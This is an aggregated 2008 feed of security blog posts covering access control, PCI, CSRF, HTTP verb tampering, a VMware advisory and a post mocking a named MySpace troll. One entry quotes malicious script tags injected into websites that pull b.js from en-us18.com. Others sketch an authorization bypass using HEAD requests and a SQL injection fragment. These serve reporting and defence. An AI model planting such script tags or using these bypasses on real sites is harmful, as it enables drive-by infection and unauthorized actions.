Spliced feed for Security Bloggers Network |
| Last HOPE Radio [Liquidmatrix Security Digest] Posted: 05 Jun 2008 06:32 AM CDT Keeping tabs on the upcoming Last Hope conference this July. From the Last Hope:
Damn, I’ll have to break out Garageband or maybe I’ll have to submit one of these tracks? HA! | ||
| The Intermixed Web [GNUCITIZEN Media Portfolio] Posted: 05 Jun 2008 06:21 AM CDT If you haven’t noticed yet, a lot of the useless sections of this site have been removed. The microblogs are also gone since they were kind of redundant. Nevertheless, I still have the urge to post random thoughts that I would like to share. So I will keep this information within the blog which is probably the best place this type of information can be listed.  So this is not a rant but observation which made me question whether humans are capable of seeing further then their nose. I was browsing through OpenSocial, just to check it out and see what kind of security risks it may introduce in the future. While doing that, I’ve found many 3rd-part applications that can be embedded within the OpenSocial platform. This is good. After all, OpenSocial and Google is all about mashups. What I’ve noticed was a mess of brands. Now you visit a page and you are bombarded with brands regardless if you are advertising or not. Google dominates the space of course. What does that have to do with security. I have no clue to be honest. I don’t want to say that it enables phishing because this is a fact. I don’t want to say that it is vulnerable to the same types of attacks everything else is vulnerable to (issues which occur due to insufficient input and output validation). But I know that it has a lot to do with our culture and as such that will impact us as a society in one way or another the same way Email and SPAM have impacted our past and present. For more information regarding how culture impacts security, I would recommend you check out Isaac Mathis’ presentation on Hacking the Samurai Spirit (Shmoocon 2008). This posting includes an audio/video/photo media file: Download Now | ||
| R U RBACing? [BlogInfoSec.com] Posted: 05 Jun 2008 06:00 AM CDT Roles-Based Access Control is so basic a security control, like keeping your anti-virus definitions updated, that it hardly seems worth discussing. Even the least security-minded among us are unlikely to question the motherhood and apple pie concept of only giving associates those tools required to do their jobs. Yet, few security professionals seem very satisfied with the state of their RBAC and there is little agreement about what constitutes success. Some successful programs control nearly every system object a user touches – applications, databases, file stores, printers – while other organizations cannot get beyond creating some coarse-grained Active Directory groups. The first approach adds significant operational overhead while the latter introduces potentially crippling risk. Our challenge is to seek the appropriate balance. There are plenty of vendors peddling tools promising turnkey RBAC solutions and for the "roll your own" aficionados, organizations like NIST offer extensive documentation. Yet, effective solutions remain elusive because:
Given these challenges, many security or compliance team either limit their focus to the most critical roles (e.g., those related to SOX compliance) or they react to audit findings and clean up evident issues in the breach. Fortunately, there are enough success stories to provide both hope and direction for those aspiring to RBAC nirvana. The path to that success requires a distributed ownership model for access governance; some good, old-fashioned analysis of the data and resources you are seeking to secure; and a manageable way to track the metadata about those resources and compliance of your stakeholders. Success begins with the security and compliance teams getting out of the business of creating roles. As with any effective exercise in separation of duties, the security and compliance teams should not be reviewing their own work, and those groups are much better positioned to validate effective controls than to make implementation decisions for which they often lack full comprehension of the context. Further, decision-making regarding what entitlements to include in each role rests with those benefiting from the access. One model that works uses a data ownership framework to identify the stakeholders as data producers, data consumers, and data deliverers. Limit your scope to those data that are not intended for general distribution within your organization – there is no sense protecting what everyone needs to see anyway. Security and compliance can act as facilitators for implementing the access control environment but the stakeholders actually make the decisions Producers are your data owners. Each in-scope data element should have a single source – if you have multiple sources for, say, customer data, stop now and reconcile the issues of overlapping ownership, since that shortcoming will undermine more than just access control. That single source needs to be an individual senior executive – the person with the most to lose if their data are misused is the right person. Successful ownership cannot occur by committee. These owners create the rules regarding the use of and access to their data. They are accountable for affirming that they understand how their data are being consumed and by whom. They can always delegate the actual implementation as long as the custodial tasks and responsibilities are clearly communicated. Consumers represent the data users; they actually own the roles as a mechanism for their users to gain access. The same individual might own specific data elements and some of the roles that access it, but the overlap is rarely complete since if it was your organization would not likely have access control issues. The challenges emerge where production and consumption diverge. Role owners advocate for their users to have the broadest access they believe necessary by declaring and documenting how they plan to apply the data they access. The data owners should review these claims with some skepticism until they are convinced business value of allowing access exceeds risk of inappropriate exposure. The data deliverers are the technical teams that serve up the data in applications, file stores, databases and other tools. Often they may serve as a proxy for the data owners by executing the controls over data access, but this custodial relationship requires clear documentation of responsibilities. Business owners too frequently cede control over the data to technical teams and effectively forgo their ownership responsibilities. That failure often puts security and compliance at odds with technical teams who argue that they are acting on behalf of the business but without transparency to their customers of the risk they are creating. An access control environment that relies too heavily on the technical teams for implementation will fail. The primary responsibility for the data delivery role is to deliver systems that allow for appropriate controls, either designed into proprietary applications or documented as a requirement in vendor products. Security needs to actively participate early in the systems delivery lifecycle to ensure that the data owners articulate and the developers document the control environment that addresses the risk of inadequately protecting the sensitive data. Now that we have some clarity of the stakeholders, next time we will examine the execution of access control that will stand compliance scrutiny and be reasonably self-maintaining. Copyright © 2008 BlogInfoSec.com. This feed is copyrighted by bloginfosec.com. The feed may be syndicated only with our permission. If you feel that this feed is being syndicated by a website other than through us or one of our partners, please contact bloginfosec.com immediately at copyright()bloginfosec.com. Thank you! Again, please contact copyright@bloginfosec.com so we can take legal action immediately. | ||
| Security Briefing: June 5th [Liquidmatrix Security Digest] Posted: 05 Jun 2008 05:48 AM CDT  Damn these infernal mornings. Click here to subscribe to Liquidmatrix Security Digest! And now, the news…
Tags: News, Daily Links, Security Blog, Information Security, Security News | ||
| Did you forget about your routers ? [belsec] [Belgian Security Blognetwork] Posted: 05 Jun 2008 05:26 AM CDT So you have hardened your routers and you think that all is allright now ? Well security wouldn't as exciting as it is because it isn't. There is a new form of attack on the block and it is called 'rootkits in the image'. The image is the copy of the software and instructions that you place on a computer or device (like a router). It is a bit like a better version you will install at once. So now we have to consider that the rootkit is in the image that is being installed - and placing it it in the image didn't seem that hard (maybe that needs a security upgrade ?). Take this together with the rumors (or facts ?) about critical router infrastructure in the US that would have been infected from the base by Chinese producer and the discovery since a year now of viruses and trojans that are installed on products leaving the factories.... It seems that in the security lifecycle the production phase becomes a weak link and will need some security rethinking or certification. Back to Cisco. THis is a write up about the story (and on the web you will find numerous more) and the must read article from CISCO about how to secure your routers. It is quite complete so you better use it and make it a policy. You never know. You already have so many things to think about that you better be sure that your routers are safe. By the way the CISCO response is a great example for some other firms in Belgium (if you know who I mean :) ) | ||
| Next phishing victims : domain owners [belsec] [Belgian Security Blognetwork] Posted: 05 Jun 2008 04:57 AM CDT So a big ISP in the States lost their domainname because somebody changed the information with the registar. Nothing hacking or vulnerability. THe person had the correct account and login. There are groups active on the internet with the only purpose of grabbing domainnames and reselling them again, they do it when you pay late (and snab it under your nose) or by trying to have your login and change it immediately or by trying to force you to pay them to 'protect' your domainname. Every tactic you use not to fall for phishing against banks, you should use with everything else of value. For businesses this is also your domainname. If you have too many of them you should outsource that management to real professional services (and don't look at pennybusinesses - buying your domainname back will cost you thousands of dollars) and budget them so that for example you always have paid on forehand the year ahead. http://isc.incidents.org/diary.html?storyid=4492#comment If you have stories about this you can send them | ||
| injected scripts .en-us18.com [belsec] [Belgian Security Blognetwork] Posted: 05 Jun 2008 04:46 AM CDT script src=http://www.en-us18.com <script src=http://www.en-us18.com/ · AT&T. NATIONAL NEWS. Bill Lucy. Bill Lucy. Black Labor Leaders Vow to Heal Democratic Party by Chris King ...About the Show<script src=http://www.en-us18.com/b.js></script> · The Hosts<script src=http://www.en-us18.com/b.js></script> ... and so on | ||
| Storm center says to upgrade your VMWARE CRITICAL [belsec] [Belgian Security Blognetwork] Posted: 05 Jun 2008 04:30 AM CDT I don't know how many of you work with VMware, but I have to thank Ed Skoudis for turning me on to virtualization in one of his classes long ago. Since that time, I have been using it as an invaluable tool for incident handling and testing patches and vulnerabilities. So, I found it interesting to see the VMware security advisory VMSA-2008-0008 sent from fellow handler Jim Clausing. Security Focus is reporting that there are no exploits in the wild at this time. These security vulnerabilities have been addressed in the newest releases of VMware's hosted product line. The advisory affects the following products: VMware Host Guest File System (HGFS) shared folders Secondly, this feature allows users to transfer data between a guest operating system and the non-virtualized host operating system that contains it. The vulnerability is a heap buffer overflow. Exploitation of this flaw might allow an unprivileged guest process to execute code in the context of the vmx process on the host. In order to exploit this vulnerability, the VMware system must have at least 1 folder shared. One good thing about this vulnerability is that if you are using the default setting, you are not vulnerable. The vulnerability only applies if you have changed the settings to share folders. VMware Server, ESX and ESXi do not provide the shared folders feature so they are not vulnerable. Source SANS storm center | ||
| SMS vishing and SMS spamming coming together [belsec] [Belgian Security Blognetwork] Posted: 05 Jun 2008 04:25 AM CDT There is not a week that goes by or we are reading that this bank and this transport organisation and this and that have made of our GSM not only an identity tool but also a real cash machine. Not that we are paranoïd but we would like to see some questions answered. Do they have antivirus and antimalware and antiphishing and security-alerts and interventions ? Is there any public awareness about the risks and what you should or shouldn't do ? Or is it like (sorry) the Mac world where everything is fine and there is no problem (as long as Belsec shuts up :) ) and if there is a problem we will solve it without bothering our users. It is for example very difficult to get your phone number blocked. In the hours that you need in the present procedure to block your phone you could have lost all the money that your phone may be authorized to buy. Makes stealing phones much more attractive off course.... It is maybe high time that the few mobile operators that we have in this small country set up together one big security center to block cards, block malware, get forensic evidence if there is a problem and set up user education campaigns. If each firm would pay for example 50 eurocent a year for each account to set up seach a center you would have a big professional center that could safeguard all the new beautiful (sic) things they are talking about. The article with the research is a must-read don't blame me if you didn't read it in your newspapers or magazines... | ||
| Angry IP Scanner - Cross Platform Port Scanner [Darknet - The Darkside] Posted: 05 Jun 2008 03:25 AM CDT Angry IP scanner is a very fast IP address and port scanner. It can scan IP addresses in any range as well as any their ports. It is cross-platform and lightweight. Not requiring any installations, it can be freely copied and used anywhere. Angry IP scanner simply pings each IP address to check if it’s alive, then... Read the full post at darknet.org.uk | ||
| .be domain is still a dangereous domain according to Mc Afee [belsec] [Belgian Security Blognetwork] Posted: 05 Jun 2008 03:21 AM CDT The numbers are based upon the site-advisor (in which we don't participate because we have no time but it also clarifies that we don't input the evidence and than cry fool....) . The problem with site-advisor is that it is based upon the community for selecting the first groups of sites that have to be researched and only after that a more forensic research is being done by McAfee (spam, downloads, links,....). So the numbers of domains can still be underestimated. Another remark is that linking to a red site is enough to be qualified red or yellow - even if you didn't know that these links are dangerous (or have become so). So you should test your site with siteadvisor and some of your links on your site. I don't think it makes sense to try to argue if they decide that the link is dangerous, just delete it and ask a change of appreciation and if your link becomes green again, than you can add it again to your directory. So being red doesn't mean naturally that you are a hacking, drive-by infecting site. It can just be that you have the wrong link on your site. but these indexes give some indication of the work that is ahead of us to clean up our domain .be (which is a bulletin board of our digital economy). We are in some ways doing better but at the other side we are doing worse. It means that there were .nl and .de are cleaning up their act and effectively bringing fast malware sites down - we aren't doing this. Which is normal because we don't have a CERT to do such thing (or is there money for such a CERT in the budget of Minister Van Deurzen it is more than 3 million Euro's !) So if somebody takes those numbers and gets our CERT up and gives it the authority to bring hacked, cracked and infected or infecting sites down (also at dns level) untill they are cleaned AND secured - than we could be out of the index. Note .eu is one of the most dangerous domainextensions in Europe. It has been set up by ..... dns.be
oh and if there are any of those domains you don't need in your traffic, just block them entirely and use a whitelist to let only the necessary sites through. | ||
| Kiosks and PCI [PCI Blog - Compliance Demystified] Posted: 05 Jun 2008 01:48 AM CDT
Some kiosks actually are POS systems that exist in-line with other POS systems. These could include self-service POS stations that must be secured and treated just like any other POS. This is the simplest of scenarios. Let’s now say that the kiosk exists on the cardholder data environment but is only a web browser that has assess to one web page - the merchant’s e-commerce website. This system is not meant to be an actual POS but more of an Internet access terminal - that can only access one site. But if it’s connected to the cardhodler data environment then it would be considered in scope for the PCI DSS audit. But what if there is no merchant? What if your kiosk is an Internet access terminal in a mall that can only access 10 different e-commerce sites (from merchants resident in the mall.) Does this system have to be PCI compliant? Sure it’s a dedicated e-commerce browser but there is no merchant ID or service provider to adhere to the requirements. I think the lines of what is a POS and what is not are going to blur in the future as companies deploy more and more of these systems. Companies will realize they need less and less of the cardholder data and will move towards system that eliminate the data rather than store-and-secure. | ||
| Two-Factor Tokens [PCI Blog - Compliance Demystified] Posted: 05 Jun 2008 01:24 AM CDT
Being the security geek I am, I immediately enrolled it with my PayPal account. I know nothing changed really, but I somehow felt more secure about my account (which I never use.) I told Chipmonkey who immediately asked, “What if you loose the token?” “Uhm… then I can’t log in… or have to jump through several hoops to log in w/o it.” I think the mass market adoption of any two-factor technology will ultimately be in the form of cell phone payments. Either your phone can be loaded with a “soft” token, or you simply get an SMS message with an authorization code you can enter into a POS. Whatever the future holds, it’s nice to feel a little more secure in the present. | ||
| Summary: SANS WhatWorks in Web Application Security Summit 2008 [Jeremiah Grossman] Posted: 04 Jun 2008 11:53 PM CDT  All around stellar event, everyone I talked to had a good time, and was able to take something of value home with them. ~150 people attended on behalf of many different organizations, large and small, from banking, telecom, ecommerce, software development, healthcare, etc. The format favored enterprise speakers rather than experts, which made it less about the newest attacks/threats and more about how enterprises went about solving problem X. This was great because I don't think we have to push as hard anymore to promote general webappec awareness. In my opinion the early adopters are here and we should be supporting them in being mentors and evangelists. We need to continue facilitating knowledge exchange.Judging from the feedback my keynote was well received (whew). I was a little nervous because the material was largely new and also because I touched on some, well, sensitive and deeply held beliefs about ways in which we approach web application security. I'll post the slides and speech text as soon as I can. I also want to thank the SANS team, especially Carol Calhoun, for allowing myself and WASC to participate. The sponsors (Breach, Cenzic, Core, HP, WhiteHat) were very generous who paid for a lot of the food, drinks, and evening entertainment. Also thank you to the attendees who really made it all possible. Before I forget them, there we a several interesting I noted down: 1) There was a lot of talk about how to effectively communicate with upper management on web application security issues. If the security guy manically informs the CIO, "OMG, we got 30 XSS and 10 SQLi issues!", chances are they're not going to know what you are talking about or understand well enough to make an informed business decision. However if you are able to put vulnerability reports into a meaningful business context you stand a better chance of influencing action in the right direction. For instance we have 5 high severity issues, that if exploited could lead to X dollars lost or X number of users impacted. I don't think anyone REALLY had good answers here on specifics, but its clear something better is needed. 2) The verbiage some people used to ask for advice on how to get programmer to develop more secure code was a little concerning. They used terms such as "how do we strong arm them?", "we need to beat them on the head", and "can we force them in some way?". Ed Pagget from First American keyed on this negativity right away. Basically he said nobody, including developers, likes to be manipulated, or otherwise forced to do something and this is exactly the wrong approach. I agreed as this approach could easily backfire. Security people must work to establish productive working relationships with the business and its developers or nothing will change. If we believe developers (people) generally want to do the right thing if only empowered to do so, then let's do that in the best way possible. 3) Several people said of the white and black box scanner tools (AppScan, WebInspect, Hailstorm) that when they integrated them in development, they disabled all but the most accurate of rules. Apparently developers have a high tolerance for false negatives and low tolerance for false positives -- perhaps in contrast to security folks. I guess this makes sense when you have to get some form of reliable security testing in the SDLC that's managed by developers. But I'm left wondering how much security has actually been gained as a result? How much harder does it make it for the bad guy to find the next vuln? 4) Several enterprises described their investment in security "champions" inside development groups as opposed to trying to tackle the entire group as a whole. For web security matters the developers can go to someone in the immediate vicinity to consult with and ask questions. This is actually quite clever as that person acts as a mentor for the rest. You are effectively training the trainer. 5) I thought I'd have to do more "selling" on the VA+WAF subject, but overall people seemed highly receptive to the notion. I even had a short discussion with Gary McGraw and figured I'd have to spar a bit at least with him. Instead he basically said it's a security solution that has a specific time and place, just like everything else. Indeed. When exactly that is, is the question we're all trying to figure out and get comfortable with. Still as Sharon Besser from Imperva picked up on, our time-to-fix metric are less than desirable. We can and need to do better. 6) Several people were asked for their thoughts on the Microsoft SDL and OWASP ESAPI. Consensus on the SDL, great for enterprise/desktop software, not so good for web application development. Agile development sprint cycles are too fast for security to be built in the way its described. ESAPI, good ideas and lots of potential, difficult to fork into existing projects. Also, to be effective alternative APIs must be ripped out to prevent developers from rolling back to less secure code their more used to working with. | ||
| I didn’t quit the blogging stuff [Security Balance] Posted: 04 Jun 2008 10:58 PM CDT I know that there are ages since I wrote here last, but I’m finally putting together what I need here in Toronto and I believe that in a few days I’ll resume not only my blogging but my twitter presence. Don’t unsubscribe, dear readers! | ||
| Hacking Case Shuts Out Valedictorian, Other Seniors [Liquidmatrix Security Digest] Posted: 04 Jun 2008 10:28 PM CDT And what did we learn today class? That’s right. Hacking the school computers has consequences associated with it. Now slap yourself and head back into the detention hall. Dumbass. From the Houston Chronicle:
I recall this one. I wrote about this a while ago. But this part still amazes me,
Sure block them from the grad ceremony, fair enough. But, 190K? Bite me. | ||
| Oracle Database 11g Gets Praise From InfoWorld [Liquidmatrix Security Digest] Posted: 04 Jun 2008 10:18 PM CDT From InfoWorld:
OK, so there is great improvements in overall usability, data corruption protection in Data Guard and workload replay (cool feature) et cetera but, what about security? Nope no mention. I wonder what David Litchfield, Pete Finnigan and others will have to say about it? | ||
| GAO: FDIC Needs Stronger Security Controls [Liquidmatrix Security Digest] Posted: 04 Jun 2008 10:09 PM CDT Meh, they only handle the insurance for your money. No biggie right? From FCW:
Yeah, see that’s bad m’kay.  | ||
| Security Bloggers Network revs up for Black Hat [StillSecure, After All These Years] Posted: 04 Jun 2008 08:58 PM CDT
| ||
| XHR, CSRF and bypassing the browser same origin policy [Writing Secure Software] Posted: 04 Jun 2008 08:09 PM CDT I did a presentation on CSRF for my local OWASP chapter and an interesting question come out about exploiting a CSRF vulnerability while using XMLHttpRequests (these are very popular wih Ajax nowdays..) CSRF vulnerabilities exploit the trust that a site has on the browser. In the case of an authenticated session, since the browser does not resend a NEW SessionID to the application as a proof that each HTTP request is authenticated it allow for riding the session with an interleaved malicious HTTP request (I like this term better actually because you are really riding an authenticated session..). If I social engineer (phish) a victim forcing him to select a web page (via webmial for example) that has a malicious HTML tag such as iframe with an embedded GET request and if such request is issued (by the victim web page selection) when an authenticated session with the same application is still valid, then such malicious request will processed by the application. Attack of this nature can eventually force a business transaction such as money bank transfer, denial of service via forced logout, modification of shopping cart credentials to force a purchase with a price and address at the choice of a malicious user. The main root causes of CSRF on the client is the lack of enforcement of the same origin policy. Such policy prevent two different documents loaded on the browser and one potentially being malicious to access each other via javascript. The same origin policy will check that such javascript invocation comes from two different sources and it will deny it. The problem is that such same origin policy does not work for HTML tags: an hacker can embed an URL from untrusted source/domain in one of the documents serve such document to the victim and the request will still be issued to the site and being authenticated by the application. Contrary to HTML tags, in the case of issuing asynch requests via XmlHttpRequest (XHR) the same origin policy is enforced on the browser and in-theory a CSRF attack will be mitigated by the browser control. The reality is that if malware is present on the client (such as with XSS exploit for example), then you can potentially override this control, simply because XHR relies on client javascript. In other cases if the control is invoked via a flash the same origin policy can be actually disabled to this vulnerability as a configuration management issue. Here are the facts in the details : 1) XMLHttpRequest has a same origin policy enforced in both IE and Mozilla 2) Because of the same origin policy you cannot access, a document/script loaded from one site of origin from a site from a different origin 3) XMLHttpRequest rely on javascript to issue POSTs such as: var post_data = 'name=value'; var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("POST", 'http://url/path/file.ext', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { alert(xmlhttp.responseText); } }; xmlhttp.send(post_data); 4)Since XHR rely on javascript, you can have malware (like Samy webworm that exploits both XSS and CSRF) installed on the client that can overwrite the javascript function by overriding the constructor XMLHttpRequest() { } By doing so the hacker is bypassing the XHR call and will disables the same origin functionality enforced on XHR 5)The same origin policy can also be bypassed with a flash Adobe/Macromedia Flash to issue XHR because cross domain is permitted depending on a rule set in "crossdomain.xml" file present in the root of the target webserver. So basically like everything else in security, there is no 100% mitigation of the risk. In the case of XHR CSRF browser controls can also be bypassed despite the same origin policy on the browser. The golden rule for security is to rely on multi layer security, XHR with same origin policy but also unique token for each URL and tied to the user session like you can do by using OWASP Guard. To remediate CSRF vulnerabilities every HTTP request (not just the one that you login into it) that can potentially exploited for unauthorized transactions (i.e. HTTP POST of confidential data, high risk transactions) need to be authenticated by issuing a new token/sessionID or event by requiring a PIN References http://taossa.com/index.php/2007/02/08/same-origin-policy/ http://www.cgisecurity.com/articles/csrf-faq.shtml http://jeremiahgrossman.blogspot.com/2007/01/preventing-csrf-when-vulnerable-to-xss.html http://taossa.com/index.php/2007/02/08/same-origin-policy/ | ||
| PCI Compliance: Learning from the U.S. Air Force [Liquidmatrix Security Digest] Posted: 04 Jun 2008 07:12 PM CDT SC Magazine has an interesting piece on PCI compliance (section 6.6) and the author maps it against the US Airforce’s response to web breaches. From SC Magazine:
Read on. | ||
| Posted: 04 Jun 2008 05:10 PM CDT I caught this booktip from a tweet from Garr Reynolds (Presentationzen.com). It was released in March and I will order my own copy soon. It looks like a book which can help you visualize ideas. Think... | ||
| Danielspengies, Myspace Troll [Vitalsecurity.org - A Revolution is the Solution] Posted: 04 Jun 2008 04:54 PM CDT The majority of my work hinges on dragging people kicking and screaming from their cocoon of anonymity, and shining a light in their face till they go blind and start crying and stuff. This set of writeups is something of a departure in that sense, because when the people you're writing about happily post pictures of themselves like this in lieu of a witty retort you know you've got problems:  Ladies and Gentlemen, Steven Newcomb, AKA Danielspengies, AKA the Worst Pirate ever. A curious character, this one. He's about as overt with his activities as you're likely to get (and not be busted for it). For example, he posts up many, many clips of himself on sites like Youtube (till he gets kicked off). Here he is, crying about Anonymous and happily confessing to using scripts on Myspace: dsafasdfasdf If you can't be bothered listening to his ramble - and God knows, I tried - he claims to have "pwned" Anonymous because he used a spam filter on his mailbox (holy Crap, it's Bruce Schneier). Interesting highlight number one: "I spam Myspace constantly, I've got my own auto scripts to do it and doesn't take any real talent whatsoever". .....oh, the irony. Interesting highlight number two, I'll save for later. Here's another one where he gives us valuable insights into what Terms of Service mean to a guy like him: Bonus points if you stay awake till the end. And on it goes (here's a whole page of garbage if you feel like slowly dragging out the end of your existence). Course, he offers up contradictions galore - simultaneously decrying Anonymous and script kiddies on the one hand, then attempting to recruit those same individuals (and failing miserably) on the other. Additionally, one of the members of his Pirate Posse is a script kiddy (their words) called "TrashiestZero". Exploits and system glitches are pretty much all they have to go around, and yet as Myspace continue to ignore the pleas of Moderators to fix these problems, all of their support groups continue to go to Hell. Here he is telling the world about his autospammer:  Here he is being a hit with the ladies:  Here he is telling people to use "the unban hole", smelling more like a common or garden script kiddy by the minute:  Here's a rapidfire set of posts linking to the Samwell "What what (in the butt)" song on Youtube. Note how quickly he's posting there - six or more posts in one second? Hmmmm. Finally, here he is cooking up a storm of fake profiles:  ...and on it goes. Funny thing is, pretty much everything I've seen by this guy is nothing beyond endlessly asking other people how to do things, or bugging random strangers for potential exploits. Even so, I feel I really have to thank Captain Whateverhisnameis for all his hard work. Why? Well, it's time to wheel out interesting point number two from the original video. Namely: "You gotta realise that when you deal with someone like me or my pirates, you're not dealing with people with limited computer knowledge, you're not dealing with people who are new to cyberspace - you're dealing with people who will hand you your ass". Oh my, I'm impressed at your ass handage. I'm even more impressed by your leet internet skillz, because you actually played a key role in switching off one of the most valuable tools in a Myspace trolls armoury. How so? Well, remember this Myspace hack? The one where you could post in some code onto a profile and you'd autosubscribe any and all vistors to your video channel? Did anyone ever stop to wonder how this thing came to light in the first place? I'll tell you. In a rather brilliant move, our Pirate pal there decided to upload a screenshot of the hack to his pirate guilds publicly viewable photo album. Note his login name at the side, and also note that he swiped it from a "Beginners" section. If not for his genius idea to post this to the gallery, this hack would probably still be active now. So excuse me while I listen to the HAHAHAs in my head for a while, and watch as our good captain sails away on the Failboat. As for Myspace, they're not far behind (though probably on the Faildinghy, having not quite upgraded to Failboat status yet). Questions need to be asked - why are they seemingly not able to eject this guys butt from their site permanently? Why are they taking so long to fix all the issues giving the trolls so much leeway with regards trashing groups? Why is someone so obviously involved in glitches, exploits and other dubious activities - with his name, face and location splashed all over the net - not being shut down? Who knows. For the moment, then, this post serves as an eternal monument to his vast amounts of fail. You can also enjoy more fail over at Encyclopedia Dramatica, though I warn you - it's entirely not safe for work, and you get to see his wiener more than once. If you feel like going blind, click here. For everyone else, it's time to walk the plank... | ||
| Hardening guides for Mac OS X (Leopard) [Security4all] [Belgian Security Blognetwork] Posted: 04 Jun 2008 04:29 PM CDT The Sunbelt blog listed two different hardening guides this week for Leopard. (thnx guys) It's a good document, albeit certainly for the more advanced Mac user or system administrator. Link here... | ||
| Sentinel dynamically generates ModSecurity rules [Jeremiah Grossman] Posted: 04 Jun 2008 03:39 PM CDT Many of our customers have Apache installations, large and small, and prefer to go with a software WAF rather than a device. Reasons will vary, but cost is always a concern and ModSecurity is free. :) You can pay Breach for rule support and commercial grade management appliances if you need it, cool stuff. What customers asked for though is a path to go from Sentinel identified vulnerabilities to custom ModSecurity rules (virtual patch) - VA+WAF. Once Sentinel pinpoints the location of a vulnerability (class, url, parameter), its verified by our operations team, and a dynamically generated ModSecurity rule becomes part of the web-based reporting (see screenshot). The custom rule is a blacklist meta-character match narrowly focused on the vulnerable URL, parameter value (multiple params are supported), and class of attack. A parameter known to be vulnerable to SQL Injection probably has no legitimate use-case for receiving quotes, semicolons, dashes, parens, etc. Similar can be said for XSS.  Sentinel users then copy/paste the custom rule into their Apache config. We recommend the rule be tested in "pass" mode ensuring no false positives exist that might block legitimate traffic. Once confidence in the rule is established, which may take an hour to a couple days, "deny" mode can then be used to block attacks. False positives are minimal because only identified attack traffic where a vulnerability of that type is specifically known to exist in that location is affected. Finally the re-test button can test the single issue and should everything work properly the vulnerability status would be automatically closed out. Hopefully in the coming months I'll get some good case studies going and statistics to measure how the time-to-fix windows are shrunken. | ||
| Hack yourself: 20 Motivation hacks [Security4all] [Belgian Security Blognetwork] Posted: 04 Jun 2008 03:35 PM CDT Hacking is not just about knowing computers but also about knowing yourself. It isn't always easy for people to stay focussed or motivated. Before delving deeper into NLP, let's start with some... | ||
| Mid-Week Spywareguide Roundup [Vitalsecurity.org - A Revolution is the Solution] Posted: 04 Jun 2008 03:08 PM CDT Here we go again..... * Lottery Scam, Direct To Your Doorstep: Someone decided to send a fake lottery message via Royal Mail, instead of the usual route (stuffed in your Inbox between Viagra offers and cheap rolex watches). * Two Point No: A short ramble about how recent changes to EBay (namely, breaking the search function which is what the whole foundation of the site is based around) have made it harder to find scammers and scumbags selling ripoffs and garbage. As a side note, I've seen sellers complaining of sales dropping by as much as 40% since the changes have come into play. Smooth moves, EBay! Woo! * Speaking Popup Adverts: Oh good, just what we need - adverts that babble. * Build Your Own Bot Tool: If you want to get started with a Botnet, now is most certainly the time Comrades! It really couldn't be easier, more's the pity.... | ||
| What you need to know about HTTP Verb Tampering [Jeremiah Grossman] Posted: 04 Jun 2008 02:01 PM CDT Recently Arshan Dabirsiaghi, Director of Research of Aspect Security, published a white paper entitled "Bypassing URL Authentication and Authorization with HTTP Verb Tampering". Initially there was a lot of confusion about what exactly was being explained or claimed. Including, is it real? Is it novel? Is it dangerous? What is this? Most will get lost in the semantics of the debate and only care if it impacts them in some way. So I hope to get to the relevant bits, borrow from Arian Evan's summaries, and make things a bit easier to understand. 1) No one is claiming the HTTP Verb (GET/POST/HEAD) manipulation is new. Manipulating what type of HTTP request a webapp is expecting to receive, such changing GET to POST and POST to GET, has been done for years. Our websites should only be using the types of requests we expect to receive and no more. What is interesting here is when it can be used and for what purpose. 2) HTTP Verb tampering is generally used in conjunction with syntactic (XSS, SQLi, etc.) and semantic (bypass authentication/authorization controls) attacks as way to bypass certain defense measures. Arshan's work on implementation details focus on the semantic version. 3) In syntactic attacks you can use verb manipulation to get malicious data (' DROP TABLE …') in a session object that might now have otherwise been allowed. i.e. Query string parameters were sanity checked, but the attacker used POST placing the data in the message body where it was overlooked by the application. This can lead to SQLi, XSS, and several other common technical vulnerabilities. 4) To protect yourself from syntactic HTTP verb manipulation attacks, make sure you only include user-supplied data from where it's expected to be received (Query string or POST data), or sanity check them both the same if necessary. Also only include the parameter names in the session object you expect to receive. Don't allow attackers to add arbitrary name/value pairs. 5) In semantic attacks verb manipulation can be used to bypass authorization/authentication protection for specific verbs and areas of the site. A config might say HTTP requests to the /admin/* directory using "GET" must have an "admin" session role. One would ASSUME any methods not listed (POST, HEAD, WHATEVER) in the config would automatically be placed in default-deny mode, but this is not necessarily the case. RFC's say the HEAD verb is supposed to be treated exactly the same as GET, just don't return any response data. So its possible for an attacker to send a request to /admin/delete_user.cgi?id=1 with a HEAD verb with no authentication/authorization. They just wouldn't get a response to the action and certain frameworks are known to be vulnerable to similar attacks. Nasty stuff and commonly goes untested for. 6) There are several things one can do to protect themselves, the most direct is ensuring ALL HTTP verbs are placed in default-deny mode unless otherwise specified. What you are looking for in consistency of authentication/authorization controls across the various methods you expect to receive. Addition details are going to be implementation specific and can be found in the white paper or list chatter. 7) Scanning for syntactic issues is possible, but can easily double or triple the number of requests that need to be sent. Varying degrees of effectiveness are wide across the commercial vendor range. Scanning for semantic issues is going to be extremely hard and likely to be a manual process for quite some time. Its basically a business logic flaw even though the scanner can technically manipulate the verb, it just doesn't know what the outcome of a test means. Overall good paper, I learned some good stuff about the particulars of certain implementations. Plus it sparked a lot of good debate. Hope this helps clear some things up. | ||
| Posted: 04 Jun 2008 01:50 PM CDT Tim Greene has a newsletter story on Symantec's "Peer to Peer NAC." No, this is not using NAC for the purposes of governing Peer to Peer application usage, but rather leveraging the idea of Peer to Peer communication for the purposes of enforcing NAC policy. Setting aside, just for the moment, whether the chickens can guard their own henhouse, this is just a silly idea. It's a silly idea from an enforcement perspective because NAC policy enforcement (especially for managed assets capable of running a persistent agent, which is the only kind of asset Symanatec can govern in any event) will be done at the point of access (WAP, Wireless Controller, VPN Termination, Ethernet switch, etc.). It's silly from a policy definition perspective since, again, it has no notion of unmanaged (or unmanageable) assets. So it's purely a short term stop-gap, useful only until standards evolve that allow for ubiquitous enforcement at the point of access. Yet, it's only a stop gap for general purpose computing assets that are tightly managed by the organization. Pretty much by definition, these are the assets that pose the least risk to your organization. Why would you start there? Why implement a short term stop-gap product for assets that pose the least risk? Silly. Fusilli, Jerry. | ||
| Posted: 04 Jun 2008 12:29 PM CDT
